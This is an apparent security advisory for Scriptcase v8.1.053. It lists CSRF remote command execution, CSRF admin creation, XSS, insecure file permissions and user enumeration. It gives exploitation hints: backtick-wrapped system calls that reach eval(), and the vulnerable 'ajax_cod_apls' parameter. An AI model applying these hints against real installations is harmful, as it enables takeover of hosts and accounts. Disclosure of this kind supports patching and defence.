Vulnerability Type: ============================= CSRF Remote Command Execution CSRF Add Admin SQL Injection Cross Site Scripting Local Privlege Escalation (Insecure File Permissions) User Enumeration / Token Bypass Downloaded latest version v8.1.053, and still vulnerable. CVE Reference: ============== N/A Vulnerability Details: ===================== [CSRF Remote Command Execution] Scriptcase has a remote command execution ailment via CSRF, if an authenticated user clicks an attacker link etc. This can allow attackers to run arbitrary system commands on the affected host and do things like add accounts etc. Scriptcase PHP code uses encryption / obfuscated so its not easy testing but we can see here the error returned for PHP eval()'d code when injecting an Array [] brackets or something as paremeter. Parse error: syntax error, unexpected end of file, expecting ']' in C:Program Files (x86)NetMakev81wwwrootscriptcasedevellibphpfunctions2.inc.php(358) : eval()'d code on line 1 After trying to wrap a Windows system call in backtick "`" operators it worked perfectly. This allowed me to add an arbitrary system account to the affected system. [CSRF] There are several cross site request forgery vectors, allowing attackers to add an Admin account to Scriptcase application etc. [Cross Site Scripting] Multiple XSS entry points exists within the vulnerable application both GET and POST. Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized before being processed by ajax HTTP post request. $.ajax({ type: 'POST', url: '/scriptcase/devel/iface/generate.php', data: 'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls=' + str_open_apps, success: function(s_result){ a_result = s_result.split('__compile_ajax_sep_row__'); nm_compile_gerar(); } }); [Local Privilege Escalation] scriptcase uses weak insecure file permissions as the aEveryonea group has full access on it. Allowing low privileged users to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. "Everyone" encompasses all users who have logged in with a password as well as built-in, non-password protected accounts such as Guest and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or change the file. This would allow an attacker the ability to inject code or replace scriptcase used executables and have it run in the context of the system. [User Enumeration] On failed scriptcase login the application returns one of the following in the HTTP response. "The login name provided is not registered on the system." On a failed password but correct user name entered application HTTP response returns. "The password is incorrect."
